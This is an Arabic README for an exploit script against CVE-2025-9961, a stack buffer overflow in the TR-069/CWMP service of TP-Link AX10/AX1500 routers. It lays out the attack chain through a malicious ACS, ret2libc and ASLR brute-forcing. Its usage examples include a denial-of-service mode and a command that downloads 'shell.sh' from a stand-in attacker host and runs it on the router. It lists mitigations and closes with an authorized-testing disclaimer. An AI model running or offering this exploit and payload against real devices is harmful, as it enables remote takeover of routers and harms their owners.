CVE-2025-9961

ثغرة تجاوز سعة المخزن المؤقت في CWMP لأجهزة TP-Link AX10/AX1500 وتنفيذ تعليمات برمجية عن بُعد

نظرة عامة

تجاوز سعة المخزن المؤقت المستند إلى المكدس في CWMP (TR-069) مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.

تدفق الهجوم

flowchart LR
    A[Attacker] --> B["Malicious ACS"]
    B --> C["SetParameterValues"]
    C --> D["Stack Overflow"]
    D --> E["Overwrite PC"]
    E --> F["ret2libc"]
    F --> G["system()"]
    G --> H["RCE"]

التفاصيل الفنية

تقع الثغرة في معالجة عملية cwmp لطلبات SOAP من نوع SetParameterValues. يُستخدم الإدخال لحساب حجم المخزن المؤقت دون التحقق من الحدود.

الاستغلال:

• استخدم أسلوب ret2libc لاستدعاء system()
• تجاوز ASLR عبر القوة العمياء
• إعادة تشغيل الخدمة تسمح بتكرار المحاولات

الاستخدام

python exploit.py <target_ip> --check-only

python exploit.py 192.168.0.1 --dos

python exploit.py 192.168.0.1 -c "wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s"

المعلمات

المتطلبات

لا شيء (يستخدم المكتبة القياسية)

التخفيف

• حدّث البرنامج الثابت إلى الإصدار المُصحَّح
• عطّل TR-069/CWMP
• قيّد الوصول إلى المنفذ 7547

إخلاء المسؤولية

للاستخدام في اختبارات الأمان المصرح بها فقط.